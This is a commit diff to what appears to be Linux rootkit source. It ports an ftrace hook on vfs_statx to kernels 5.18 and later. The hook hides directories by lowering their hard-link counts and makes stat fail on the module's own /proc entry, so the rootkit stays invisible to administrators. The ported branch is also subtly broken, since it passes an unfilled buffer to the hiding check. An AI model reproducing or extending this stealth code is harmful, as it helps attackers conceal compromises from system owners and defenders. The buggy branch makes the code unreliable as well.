@@ -1009,8 +1009,13 @@ static __always_inline struct pt_regs *ftrace_get_regs(struct ftrace_regs *fregs
1009
1009
}
1010
1010
#endif
1011
1011
1012
+ #if LINUX_VERSION_CODE < KERNEL_VERSION (5 ,18 ,0 )
1012
1013
static long (* real_vfs_statx )(int , const char __user * , int , struct kstat * , u32 );
1013
1014
static long m_vfs_statx (int dfd , const char __user * filename , int flags , struct kstat * stat , u32 request_mask ) {
1015
+ #else
1016
+ static long (* real_vfs_statx )(int , struct filename * , int , struct kstat * , u32 );
1017
+ static long m_vfs_statx (int dfd , struct filename * filename , int flags , struct kstat * stat , u32 request_mask ) {
1018
+ #endif
1014
1019
/** XXX do I need this much */
1015
1020
char kernbuf [PROCNAME_MAXLEN + 6 ] = {0 };
1016
1021
@@ -1022,20 +1027,31 @@ static long m_vfs_statx(int dfd, const char __user *filename, int flags, struct
1022
1027
* and update hard-links counter accordingly.
1023
1028
* 2 make stat fail for /proc interface.
1024
1029
* */
1030
+
1031
+ #if LINUX_VERSION_CODE < KERNEL_VERSION (5 ,18 ,0 )
1025
1032
if (!copy_from_user ((void * )kernbuf , filename , sizeof (kernbuf )- 1 )) {
1026
1033
if (strlen (kernbuf ) > 0 && S_ISDIR (stat -> mode )) {
1034
+ #else
1035
+ if (strlen (filename -> name ) > 0 && S_ISDIR (stat -> mode )) {
1036
+ #endif
1027
1037
int count = fs_is_dir_inode_hidden ((const char * )kernbuf , stat -> ino );
1028
1038
if (count > 0 ) {
1029
1039
prinfo ("%s: file match ino=%llu nlink=%d count=%d\n" , __func__ , stat -> ino , stat -> nlink , count );
1030
1040
1031
1041
/* Hit(s) -> decrement hard-link counts */
1032
1042
stat -> nlink -= count ;
1033
1043
}
1044
+ #if LINUX_VERSION_CODE < KERNEL_VERSION (5 ,18 ,0 )
1034
1045
} else if (strstr (kernbuf , PROCNAME )) {
1046
+ #else
1047
+ } else if (strstr (filename -> name , PROCNAME )) {
1048
+ #endif
1035
1049
/* Mauro? */
1036
1050
rv = - ENOENT ;
1037
1051
}
1052
+ #if LINUX_VERSION_CODE < KERNEL_VERSION (5 ,18 ,0 )
1038
1053
}
1054
+ #endif
1039
1055
return rv ;
1040
1056
}
1041
1057
0 commit comments